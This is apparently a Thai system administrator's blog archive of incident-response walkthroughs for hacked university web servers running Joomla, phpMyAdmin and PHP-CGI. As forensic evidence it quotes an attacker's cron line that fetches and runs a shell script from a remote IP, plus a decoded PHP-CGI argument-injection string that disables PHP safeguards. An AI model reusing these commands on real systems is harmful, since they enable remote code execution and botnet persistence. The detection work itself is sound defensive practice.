Month: December 2013

วิธีตรวจสอบเว็บไซต์ที่โดน Hack #8

kanakorn.h

December 19, 2013
ได้รับข้อร้องเรียนจาก Google Webmaster Tools ว่า มีเครื่องภายในมหาวิทยาลัย พยายามโจมตี เครือข่ายภายนอก และทาง Firewall ของมหาวิทยาลัย ได้ทำการปิดกั้น การเข้าออก ของเครื่องดังกล่าวแล้ว จึงเข้าตรวจสอบ

ขั้นตอนการตรวจสอบ

1. เบื้องต้น พบว่าเป็น Ubuntu 8.04.4 LTS

2. ตรวจสอบ ทำให้ทราบว่า Web User ใดที่สั่งให้ httpd ทำงาน ด้วยคำสั่ง
```
 ps aux |grep http
```
ผลคือ
```
 nobody   31159  0.0  1.5  29056 15588 ?        S    Dec17   0:00 /opt
/lampp/bin/httpd -k start -DSSL -DPHP5
```
จึงทราบว่า Web User ใช้ชื่อว่า ‘noboby’ (จากที่เคยคุ้นชินกับ www-data, apache อะไรทำนองนั้น)

3. ตรวจสอบ Process อย่างละเอียดด้วยคำสั่งต่อไปนี้
```
 ps auxwe
```
ผลที่ได้ พบว่า มี Process ของ httpd ทั่วๆไป จะแสดงรายละเอียดอย่างนี้
```
nobody     3460  0.0  1.3  28060 14348 ?        S    Dec01   0:00 /op
t/lampp/bin/httpd -k start -DSSL -DPHP5 LESSOPEN=| /usr/bin/lesspipe 
%s USER=root MAIL=/var/mail/root SHLVL=4 LD_LIBRARY_PATH=/opt/lampp/li
b:/opt/lampp/lib:/opt/lampp/lib: HOME=/root LOGNAME=root _=/opt/lampp/
bin/apachectl TERM=vt100 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin
:/usr/bin:/sbin:/bin LANG=en_US.UTF-8 LS_COLORS=no=00:fi=00:di=01;34:l
n=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01
:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.t
gz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31
:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.b
z=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.
rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*
.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;3
5:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=0
1;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg
=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.
m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:
*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;3
5:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;3
6:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=0
0;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36: SHELL=/bin/bash L
ESSCLOSE=/usr/bin/lesspipe %s %s PWD=/root
```
แต่ พบว่า มีอยู่รายการหนึ่ง แสดงผลอย่างนี้
```
 nobody    5106  0.0  0.2   4168  2184 ?        S    Nov21   1:17 /usr
/local/apache/bin/httpd -DSSL                                         

                                          -m a.txt HOME=/nonexistent O
LDPWD=/var/spool/cron LOGNAME=nobody PATH=/usr/bin:/bin SHELL=/bin/sh 
PWD=/home/wwwroot/experience/images/smilies/.laknat/.libs
```
จึงตรวจสอบ Process PID 5106 ด้วยคำสั่ง
```
 ls -la /proc/5106
```
ผลที่ได้คือ

ซึ่ง จะเห็นได้ว่า Process นี้ สั่งทำงานจาก /home/wwwroot/experience/images/smilies/.laknat/.libs/httpd

แต่ ก่อนหน้านี้ ผู้ดูแลระบบ ได้ สำรองข้อมูลออกไป แล้วลบทิ้งไปก่อนแล้ว จึงขึ้นคำว่า (deleted)

จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 พบว่า Hacker มักจะเขียน crontabs เอาไว้ เรียก Backdoor กลับมาอีก จึงทำการตรวจสอบที่ /var/spool/cron/crontabs ด้วยคำสั่ง
```
 ls -l /var/spool/cron/crontabs/
```
ผลที่ได้คือ
```
-rw------- 1 nobody crontab 271 2013-11-21 21:45 nobody
-rw------- 1 root   crontab 256 2011-12-30 09:46 root
```
และเมื่อ cat ออกมาดู พบว่า
```
cat /var/spool/cron/crontabs/root

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.WBj4te/crontab installed on Fri Dec 30 09:46:13 2011)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# m h  dom mon dow   command
0 3 * * * sh /backup.sh
```
```
cat /var/spool/cron/crontabs/nobody

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (a.txt.d installed on Thu Nov 21 21:45:40 2013)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * /home/wwwroot/experience/images/smilies/.laknat/.libs/a.txt.upd >/dev/null 2>&1
```
แสดงให้เห็นว่า มี crontabs ของ nobody สร้างเมื่อเวลา Thu Nov 21 21:45:40 2013

4.เครื่องนี้ใช้ lampp เป็น Web Server ซึ่ง ใช้พื้นที่ทำงานคือ
```
 /opt/lampp
```
โดย ให้ผู้ใช้แต่ละคน สร้าง Web ในพื้นที่ /home ของแต่ละคนได้

และเก็บ Logs ที่
```
 /opt/lampp/logs
```
จึงตรวจสอบด้วยคำสั่ง
```
 grep "21/Nov/2013:21:45" /opt/lampp/logs/access_log
```
ผลที่ได้คือ

แสดงให้เห็นว่า มีการเรียกไฟล์ *.php ใน images/stories ซึ่ง น่าจะเป็นช่องโหว่ จาก JCE Exploited ตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งจะใช้วิธีการตามที่อธิบายไว้ก่อนหน้านี้แล้ว เพื่อตรวจสอบต่อไป

5. เนื่องจาก ผู้ดูแลระบบ ได้สำรองข้อมูลของ /home/wwwroot/experience/images/smilies/.laknat/.libs/ เอาไว้ จึง เรียกออกมาดู

ได้ผลดังนี้

จะเห็นได้ว่า ไฟล์ a.txt.upd ถูกสร้างเมื่อเวลา 2013-11-21 21:45 จริงๆ

เมื่อใช้คำสั่ง
```
cat a.txt.upd
```
ได้ผลว่า

จึงลองตรวจสอบ a.txt.run ด้วยคำสั่ง
```
cat a.txt.run
```
ได้ผลว่า

และใช้คำสั่ง
```
cat a.txt
```
ซึ่งเป็นโปรแกรม ภาษา TCL ซึ่งมีรายละเอียดยาวมาก แต่ มีส่วนหนึ่ง เขียนว่า

และจากการตรวจสอบ ทั้ง directory ก็พบว่า เป็นการเอา Network Tools ต่างๆ ได้แก่ Sniffer, Network Scanner และ อื่นๆอีกมากมาย ซึ่ง เอาตัวโปรแกรม เช่น TCL แบบ Portable มาด้วย หมายความว่า แม้เครื่อง Server ไม่ติดตั้ง TCL ก็สามารถทำงานได้เลยทีเดียว

ดังนั้น เครื่องนี้ ถูกสั่งงานจากทางไกล กลายเป็น Botnet เพื่อตรวจสอบ เครื่องแม่ข่ายภายใน แม้มหาวิทยาลัยจะมี Firewall ป้องกัน แต่ถูกเครื่องนี้ ดักเก็บข้อมูล และแสดงผลกลับไปให้ Hacker ผ่านทาง Port TCP/80 ซึ่ง Firewall เปิดให้ใช้งานได้เลย

5. ตรวจสอบว่า มีไฟล์ *.php ใน directory images/stories อีกหรือไม่ ด้วยคำสั่ง
```
 find /home -name "*.php" -type f | grep 'images/stories'
```
ก็พบเพียงไฟล์เดียว คือ
```
 /home/wwwroot/research_old/images/stories/gh.php
```
ซึ่งผิดสังเกต เมื่อตรวจสอบไฟล์ที่สร้างขึ้นในเวลาใกล้เคียงกัน ก็ไม่พบความผิดปรกติ ซึ่ง ไม่ปรกติ

6. จึงตรวจสอบทั้ง /home ทุกไฟล์ *.php ที่อาจจะมี Backdoor ที่อาจซ่อนการใช้ฟังก์ชั่น eval หรือไม่ ด้วยคำสั่ง
```
for f in $(find /home/ -name "*.php" -type f) ; do
  echo $f
  echo "---"
  grep 'eval(' "$f"
  echo "---"
done
```
พบว่า มีไฟล์ *.php ทั้งหมดจำนวน 15,883 ไฟล์ ในนั้นมี 200 กว่าไฟล์ ที่มีการใช้ฟังก์ชั่น eval จริง แต่บางส่วน ก็เป็นไฟล์ที่ถูกต้อง แต่มี 34 ไฟล์ ที่ เป็นไฟล์ Backdoor ใหม่ๆ เพิ่งสร้างขึ้นมา เช่น

และ เป็นไฟล์ของระบบ ที่มีการแทรก Backdoor Code เข้าไป เช่น

จึง เก็บรายชื่อไฟล์ทั้ง 34 นี้ ไว้ในไฟล์ ชื่อ 11-manualhack.txt และใช้คำสั่งต่อไปนี้ เพื่อเก็บไฟล์เอาไว้ เพื่อใช้ตรวจสอบต่อไป
```
 cat 11-manualhack.txt | xargs tar -cvf evalbackdoor.tar
```
แล้วจึง ลบทิ้งด้วยคำสั่งต่อไปนี้
```
 cat 11-manualhack.txt | xargs rm -rf
```
7. ตรวจสอบต่อไปว่า มี directory ใดบ้าง ที่ เปิดให้ Web User ‘nobody’ เขียนได้ ด้วยคำสั่ง
```
 find /home -user nobody -perm -u+w -type d
```
พบว่า มี directory จำนวนมากที่เปิดให้ Web User เขียนได้

และ ใช้คำสั่งต่อไปนี้ ดูว่า มี directory ใดบ้าง เปิดให้ใครๆก็เขียนได้ (World Writable) หรือ ตั้ง permission 777 ด้วยคำสั่ง
```
find /home  -perm -o=w -type d
```
ก็มีจำนวนมากเช่นกัน

การแก้ไขปัญหา

1. เก็บไฟล์ Backdoor ด้วยคำสั่งต่างๆข้างต้น และลบทิ้ง

2. ปรับให้ทุก Directory เป็น Permission 755 ด้วยคำสั่ง
```
 find /home -type d -print0 | xargs -0 chmod 0755
```
3. ปรับให้ทุก File เป็น Permission 644
```
 find /home -type f -print0 | xargs -0 chmod 0644
```
4. เปลี่ยน Owner และ Group ของทุก Directory และ Files ให้เป็นของแต่ละ User ด้วยคำสั่งประมาณนี้
```
chown -R user01.user01 /home/wwwroot
```
5. ลบ crontab ด้วยคำสั่ง
```
rm /var/spool/cron/crontabs/nobody
```
6. หยุด Process PID 5106
```
kill -9 5106
```
คำแนะนำ

เนื่องจาก ขณะนี้ได้ เราได้แต่ค้นหา ช่องโหว่ ตามที่เคยเรียนรู้มาเท่านั้น ยังมีรูปแบบต่างๆ ที่ยังไม่รู้อีกมากมาย จึงแนะนำให้

1. ติดตั้ง OS ใหม่

2. ติดตั้ง Joomla ใหม่ และ ย้ายเฉพาะ ข้อมูลที่อยู่ใน MySQL มา แล้วจึง Upgrade ให้เป็นรุ่นล่าสุด

3. ย้ายเฉพาะ ภาพ และ ไฟล์เอกสารสำคัญมา แต่ต้องไม่เอาไฟล์ .php หรือ อื่นๆมาเด็ดขาด

4. เข้มงวดกับการตั้ง Owner และ Permission กับผู้ใช้งานทุกคนของระบบ, หากจะมี Directory ใดต้องให้มีการ Upload ไฟล์ได้ จะต้องตั้งค่าไม่ให้ PHP ทำงานได้เด็ดขาด

5. การใช้งาน Joomla จะต้องยกเลิกการ Upload ภาพผ่านทาง HTTP แต่ให้ใช้ FTP แทน

และ บทความต่อๆไป จะพูดถึงการ Hardening เพื่อลดความเสียหายต่อไป

ขอให้โชคดี
December 19, 2013
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #7

kanakorn.h

December 18, 2013
คราวนี้ เป็นการตรวจสอบ ที่เป็น Windows Server 2008 32bit ที่ใช้ IIS6 เป็น Web Server และใช้ PHP 5.2.17 เครื่องของหน่วยงานภายในมหาวิทยาลัย ซึ่ง ถูก Google Webmaster Tools ตรวจพบว่า เครื่องดังกล่าวน่าจะโดน Hack และมีการวาง Backdoor เอาไว้

เบื้องต้น พบว่า เครื่องนี้ ใช้ Joomla และรายงานของ Google ก็บอกไฟล์ปัญหา เป็น php ใน images/stories จึง เริ่มจากทำตาม วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 แต่ ต้องเปลี่ยนไปใช้คำสั่งบน PowerShell แทนที่จะเป็น Shell Script อย่างเดิม

พื้นที่ Document Root อยู่ที่ c:\inetpub\wwwroot

วิธีการตรวจสอบ

1. ใช้ powershell ด้วยสิทธิ์ administrator privilege

2. ค้นหา ไฟล์ *.php ซึ่งอยู่ใน directory “stories” (ใน PowerShell ทำงานแตกต่างจาก Shell Script มากๆ จึงต้องดัดแปลงบางอย่าง)
```
gci c:\inetpub\wwwroot -rec -include "*stories*" | where {$_.psiscontainer} | gci -Filter "*.php"
```
โดยที่คำสั่งนี้ ใช้ชื่อย่อ และมีความหมายดังนี้

gci = Get-ChildItem : ทำงานเหมือนคำสั่ง find และใช้ option “-rec” ย่อมาจาก Recurse ซึ่งหมายถึง ค้นหาลงลึกไปใน Subdirectory ด้วย และ เอาเฉพาะใน Directory ย่อย “stories” เท่านั้น

ส่วนการใช้ ไพพ์ “|” ก็ไม่เหมือนใน Shell Script ที่เป็นการส่ง String หรือข้อความตรงๆ แต่เป็นการส่งต่อ Object

gci -Filter “*.php” หมายถึง เมื่อค้นหาลึกไปใน Subdirectory “stories” แล้ว ให้กรองเอาเฉพาะไฟล์ แบบ *.php

ผลที่ได้คือ

พบว่ามี php file จำนวนมาก ใน images/stories จริงๆ

ดังภาพ

3. ตรวจสอบ Log ซึ่งอยู่ที่ c:\inetpub\logs และค้นหาไฟล์ในนั้น ดูว่า มี “BOT.*JCE” บันทึกหรือไม่ ด้วยคำสั่ง
```
gci c:\inetpub\logs -rec  | where {$_.psiscontainer} | gci -rec -filter "*.log" | get-content | select-string -pattern "BOT.*JCE"
```
ผลที่ได้คือ

ซึ่งพบว่า มีการโจมตีมาเป็นจำนวนมาก

4. หา Backdoor อื่นๆ ที่อาจจะเกิดขึ้น หลังจาก Backdoor ใน images/stories เหล่านั้น โดยทดลองดูว่า มีไฟล์ใหม่เกิดขึ้น หลังจากแต่ละ Backdoor นั้นๆ 2 วันหรือไม่ ด้วยคำสั่ง
```
$backdoor=gci C:\inetpub\wwwroot\sticorner\images\stories -filter "*.php"
foreach ($f in $backdoor) {
  $other=gci C:\inetpub\wwwroot\ -rec -filter "*.php" | where-object { $_.LastWriteTime -ge $f.LastWriteTime -and $_.LastWriteTime -le ($f.LastWriteTime).adddays(+2) }  | %{$_.fullname}
 $f.fullname
 $other
}
```
จากการตรวจสอบ พบไฟล์อื่นๆบ้าง แต่ตรวจสอบแล้ว ในระยะเวลา 2 วันหลังจากวางไฟล์ ไม่มีการเขียน Backdoor อื่นๆเพิ่ม

5. ตรวจสอบหา Backdoor พื้นฐาน ซึ่ง อาจจะใช้ eval แล้วตามด้วย base64_decode ด้วยคำสั่ง
```
gci C:\inetpub\wwwroot\ -rec -filter "*.php" | select-string -pattern "eval.*base64" | select-object -unique path >  evalbase64.txt
```
โดย เลือกเฉพาะไฟล์ *.php ที่มีคำสั่ง eval ตามด้วย base64_decode มาเก็บไว้ในไฟล์ evalbase64.txt เพื่อใช้ตรวจสอบต่อไป

พบว่า มีไฟล์จำนวนมาก ที่เป็น Backdoor ดังกล่าว และ Hacker เอาไฟล์มาวางไว้เมื่อ 14/01/2556 แต่ ปลอมวันที่เป็น 15/12/2552 ด้วย ดังภาพ

และไฟล์ที่พบ มีดังต่อไปนี้

สำหรับคนที่ดูแล Windows Server ก็ลองใช้เทคนิคข้างต้น ในการค้นหา Backdoor ด้วย PowerShell ด้วย

ขอให้โชคดีครับ
December 18, 2013
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6

kanakorn.h

December 17, 2013
วันนี้ได้รับรายงาน ร้องเรียนจากองค์กรภายนอก ว่ามีเครื่องคอมพิวเตอร์จาก Domain ของ PSU ส่งข้อมูลจำนวนมาก ไปโจมตี ระบบเครือข่ายที่ต่างประเทศ จึงทำการสืบสวน

เบื้องต้น พบว่า มาจากเครื่อง Web Server ของคณะหนึ่ง ซึ่งเพิ่งย้ายจากเครื่องเดิมซึ่งโดน Hack มาก่อน หวังขึ้นเครื่องใหม่ แล้วทุกอย่างคงจะดีขึ้น … แต่ก็ยังไม่ใช่

จึงขออนุญาต ผู้ดูแลระบบของคณะ เข้าตรวจสอบ โดยการสร้าง Account แยกต่างหาก และรายงานทุกขั้นตอนการทำงานให้ทราบ

สิ่งที่พบคือ เป็น Ubuntu และใช้ Apache + PHP + MySQL มีการใช้งาน CMS เป็น WordPress เป็นส่วนใหญ่ แต่มี Joomla แค่หนึ่งเดียว นอกจากนั้น ยังพบว่ามี phpMyAdmin ด้วย

เริ่มต้นจาก ตรวจสอบตามกระบวนการใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #4 ก็ไม่พบความผิดปรกติใด

ผู้ดูแลระบบแจ้งว่า หลังจากทราบข่าว ก็ตรวจสอบทันที มีข้อสังเกต ว่า มี Process แปลกๆ ทำงาน ซึ่งตรวจสอบด้วยคำสั่ง
```
ps aux
```
ได้ผลว่ามีโปรแกรมแปลกๆ ทำงานในพื้นที่ /tmp และพยายามติดต่อไปภายนอก ดังนี้

ซึ่งทำงานด้วย User ชื่อ www-data ซึ่ง เป็น Web User ซึ่งผิดปรกติ โดยชื่อโปรแกรมที่ทำงาน ชื่อ
```
/tmp/php
/tmp/pnscan
```
ดูจากคำสั่ง สงสัยได้ว่า จะมีการติดต่อไปยังภายนอก เพื่อทำการบางอย่าง …

จึงตรวจสอบ พบว่าไฟล์ ด้วยคำสั่ง
```
stat /tmp/php
stat /tmp/pnscan
```
ได้ผลดังนี้

/tmp/php ไฟล์สร้างเมื่อประมาณ 2013-12-13 20:22:51
/tmp/pnscan ไฟล์สร้างเมื่อประมาณ 2013-12-13 20:22:35

จึงตรวจสอบต่อ ด้วยคำสั่ง
```
top
```
แล้วเลือกดู เฉพาะ Process ที่ทำงานด้วย www-data โดยกดปุ่ม u แล้ว พิมพ์ www-data

ได้ผลดังนี้

จึงเห็น Process แปลกๆ คือ .xx มีเลข PID คือ 24813

จึงไปดูรายละเอียดว่าไฟล์ดังกล่าว อยู่ที่ใด ด้วยคำสั่ง
```
ls -l /proc/24813
```
ได้ผลดังนี้

จึงทราบว่า Process ดังกล่าว ไปเรียกไฟล์จาก /dev/shm/.xx ซึ่งเป็นส่วนพื้นที่ของ Share Memory

จึงลองใช้คำสั่ง
```
ls -la /dev/shm/
```
ได้ผลดังนี้

พบว่า ไฟล์ดังกล่าว สร้างเมื่อเวลาประมาณ 2013-12-13 22:45 และ มีความพยายามจะสร้างอีกไฟล์ ชื่อ .x เมื่อเวลาประมาณ 2013-12-14 11:47

เพื่อให้เห็นการทำงาน ของ Process ID 24813 ให้ละเอียดยิ่งขึ้น จึงปรับคำสั่ง จาก ps aux เป็น (เพิ่ม we เข้าไป)
```
ps auxwe | grep 24813
```
เพื่อให้แสดงผล แบบ Wide Output (w) และ แสดง Environment Variable (e) ที่เกี่ยวข้องด้วย ได้ผลดังนี้

จากคำสั่งนี้ ทำให้ทราบว่า Hacker เรียกมาจาก
```
 REMOTE_ADDR=193.51.237.2
```
```
 QUERY_STRING=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
```
```
 REQUEST_URI=/cgi-bin/php5
```
จากข้อมูล REMOTE_ADDR ข้างต้น ไปค้นหา พบว่า Hacker มาจากประเทศ ฝรั่งเศษ โดยการค้นหาจาก

http://whatismyipaddress.com/ip/193.51.237.2

เมื่อข้อมูล QUERY_STRING ซึ่งเป็นข้อมูลแบบ URL Encode ไปผ่านการ Decode จะได้ข้อมูลเป็น
```
 -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n
```
และ จาก REQUEST_URI ก็พบว่า Hacker เรียกผ่าน PHP ในแบบ cgi-bin โดยผ่านค่าที่ได้จาก QUERY_STRING ไป ซึ่ง แม้ PHP ตัวหลักของ Web Server จะปิดการ allow_url_include, เปิด safe_mode หรือปิด functions ต่างๆก็ตาม ด้วย Code ข้างต้น ทำให้ Hacker สามารถเรียกใช้สิ่งที่ไม่อนุญาตไว้ได้ทั้งหมด โดยไม่สนใจตัว PHP ของ Web Server เลย

แต่จากข้อมูลที่ได้มา ทราบแค่ว่า Hacker ใช้วิธีการโจมตีผ่านช่องโหว่ของ PHP ในแบบ cgi-bin เท่านั้น แต่ยังไม่ทราบว่า ไฟล์นี้ มาได้อย่างไร

จึงค้นหาต่อ โดยการเปิดดูไฟล์ /var/log/syslog ทั้งหมด พบว่า มี User www-data เรียกใช้งาน Cron ซึ่งผิดปรกติด้วย จึง ใช้คำสั่งต่อไปนี้ ตรวจสอบ
```
zgrep "www-data" /var/log/syslog*
```
ผลที่ได้คือ
```
 /var/log/syslog.3.gz:Dec 14 11:47:01 phar2 CRON[24799]: (www-data) CMD (/tmp/update >/dev/null 2>&1)var/log/syslog.3.gz:Dec 14 11:47:34 phar2 crontab[24814]: (www-data) REPLACE (www-data)
```
```
/var/log/syslog.3.gz:Dec 14 11:48:01 phar2 cron[1075]: (www-data) RELOAD (crontabs/www-data)
```
```
/var/log/syslog.3.gz:Dec 15 00:00:01 phar2 CRON[29845]: (www-data) CMD (wget -q http://221.132.37.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh)
```
จึงใช้คำสั่ง
```
 wget -q http://221.132.37.26/scen
```
เพื่อเอาไฟล์ชื่อ ‘scen’ จาก Website ดังกล่าวมาดู มีเนื้อหาดังนี้

ซึ่ง การสร้าง cron นั้น จะไปฝังที่ /var/spool/cron/crontab โดยดูได้จากคำสั่ง

ls -l /var/spool/cron/crontabs/

ผลที่ได้คือ

ซึ่ง แม้จะ Reboot เครื่อง หรือ Clear backdoor ต่างๆออกไปแล้ว ก็จะยังมี cron นี้ไปดึง Botnet กลับมาทุกสัปดาห์อยู่ดี

จึงทำให้ทราบว่า Hacker เริ่มจาก

1. เอาไฟล์มาวางไว้ใน /tmp ให้ได้ เช่น ชื่อไฟล์ /tmp/update, /tmp/sh หรืออะไรก็แล้วแต่

2. จากนั้น ไฟล์เหล่านั้น ก็จะไป Download ผ่านโปรแกรมต่างๆ พวกนี้จะเรียกได้ว่าเป็น Botnet เช่น เครื่องนี้ เป็นโปรแกรมในการ Scan Port เพื่อหาว่าในเครือข่ายปลายทาง มีบริการใดเปิดอยู่บ้างเป็นต้น หรือ จะฝังโปรแกรมแบบ Sniffer ไว้ก็สามารถทำได้เช่นกัน แต่แทนที่จะเก็บไว้ใน Directory ทั่วไป กลับเอาไปไว้ใน /dev/shm ซึ่งเป็น Share Memory ซึ่ง ผู้ดูแลระบบทั่วไป อาจจะไม่ได้ตรวจสอบ

3. จากนั้นก็สั่ง Execute Botnet เหล่านั้น ให้ทำงานไป

4. สร้าง crontab ชั่วคราว เพื่อให้ไปเอาโปรแกรมมาใหม่ แบบ Weekly หรือสัปดาห์ละครั้ง ไปเก็บไว้ในไฟล์ชื่อ /tmp/corn แล้วใช้คำสั่ง crontab /tmp/corn เพื่อเอา script ดังกล่าวเข้าทำงานใน Cron ของระบบ แล้ว สั่งทำงาน แล้วลบตัวเองทิ้ง จึงทำให้ ไม่สามารถหา ต้นตอได้ง่ายๆ

เป็นเหตุให้ เครื่อง Web Server เครื่องนี้ ตกเป็น Botnet ตลอดไปนั่นเอง

คำถามสำคัญ แล้ว … มันมีช่องโหว่ใด ???

จึง ทดลองหาดูว่า มีไฟล์ใด /home (ซึ่งเครื่องนี้ ให้ผู้ใช้แต่ละคน สร้าง Website บนพื้นที่ /home ของตนเอง) ว่ามีไฟล์ใดบ้าง ที่มีการสั่งเขียนไฟล์ /tmp/php ด้วยคำสั่ง
```
 find /home -type f -exec grep '/tmp/php' {} \;
```
ผลที่ได้คือ

ในไฟล์ Documentation.html ของ phpMyAdmin ซึ่งระบุว่า

และตรวจสอบ พบว่า ในบทความ Debian: New phpmyadmin packages fix several vulnerabilities แจ้งว่า phpMyAdmin ไม่ได้ตรวจสอบสิทธิ์ให้ดีเพียงพอ จึงทำให้สามารถสร้างไฟล์ใน /tmp/ ได้ และแจ้งว่ามี CVE ที่กล่าวถึงใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #5 เกี่ยวกับ phpMyAdmin มีช่องโหว่ หมายเลข

CVE-2008-7251

CVE-2008-7252

CVE-2009-4605

สรุป

1.ช่องโหว่ครั้งนี้ มาจาก phpMyAdmin ทำให้ Hacker สามารถสร้างไฟล์ใน /tmp ได้ และสามารถสร้าง Cron เพื่อดึง Botnet มาไว้ในเครื่องได้ และทำลายตัวเองทิ้งได้ด้วย

2. ในอนาตค หากผู้ดูแลระบบ พบว่ามี Process แปลกๆ ให้ดูหมายเลข PID เช่น 24813 ก็ให้เปิด ls -la /proc/24813/ ก็จะทำให้ทราบ ต้นตอของ Process นั้นๆอยู่ที่ใด

3. การบริหารจัดการ Log File มีความสำคัญอย่างยิ่ง ในระบบนี้ ได้เก็บ Log File ย้อนหลังไว้เพียงพอ ทำให้สามารถค้นหาต้นตอได้

4. คาถาป้องกันตัว คือ
“update เป็นนิจ
ติดตามข่าวสาร
อย่าเอาแต่เชื่ออาจารย์ (Tools)
สร้างการป้องกัน
ขยันอ่าน Log
เตรียม Block ช่องโหว่
สุขโขนั่นเป็นเรื่องชั่วคราว
กรรมระยะยาว ของ SysAdmin”

ขอให้โชคดี
December 17, 2013
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5

kanakorn.h

December 13, 2013
จากที่ผ่านมา เราได้เรียนรู้จาก

วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3
วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4

เราได้แต่ตามแก้ไขปัญหา เมื่อเกิดเรื่องขึ้นกับ Website ของเราแล้ว ถึงเวลาแล้ว ที่เราจะต้อง “Proactive” หรือ ทำงานเชิงรุกกันได้แล้ว

ในโลกเทคโนโลยี มีคนเก่งๆมากมายที่เขาทุ่มเทเวลา เพื่อค้นหาช่องโหว่ต่างๆ ในที่นี้ กรณีของ Joomla ก็สามารถไปดูได้ที่

Joomla Developer Network http://developer.joomla.org/security.html

จากเวปไซต์ดังกล่าว จะเป็นรายงานอย่างเป็นทางการของ Joomla, สิ่งที่ต้องสนใจ คือ
- Severity: ความร้ายแรง ถ้าเป็นระดับ High, Critical แสดงว่า ร้ายแรง ต้องแก้ไขทันที
- Versions: รุ่นของ Joomla ที่ได้รับผลกระทบ (ผู้เป็นเจ้าของ ควรรู้ว่าตัวเองใช้รุ่นใด)
- Exploit type: ลักษณะของช่องโหว่ เช่น XSS, SQL Injection, RFI, Buffer Overflow และอื่นๆ (จะอธิบายในลำดับต่อไป)
- Reported Date/Fixed Date : แสดง วันที่ที่ตรวจพบ จนถึงวันที่ Joomla ได้แก้ไขปัญหาดังกล่าว
- CVE Number: แสดงตัวเลขอ้างอิง สำหรับการตรวจสอบกับระบบรักษาความปลอดภัยต่างๆ ถ้ามีตัวเลข CVE แล้ว แสดงว่าปัญหาดังกล่าวมีการยืนยันว่าเป็นปัญหา และมีคนหาทางแก้ไขปัญหาแล้ว รวมถึง มักจะมี Exploited Tools หรือ เครื่องมือในการทดสอบแล้วด้วย ซึ่ง ก็จะมีพวก Script Kiddie หรือ พวกชอบลองของ เอาไปโจมตีเวปไซต์ต่างๆ ทั้งเพื่อความสนุกสนาน และทำลายล้าง (จะอธิบายในลำดับถัดไป)
- Description และ Solution: รายละเอียดของปัญหา และแนวทางแก้ไข
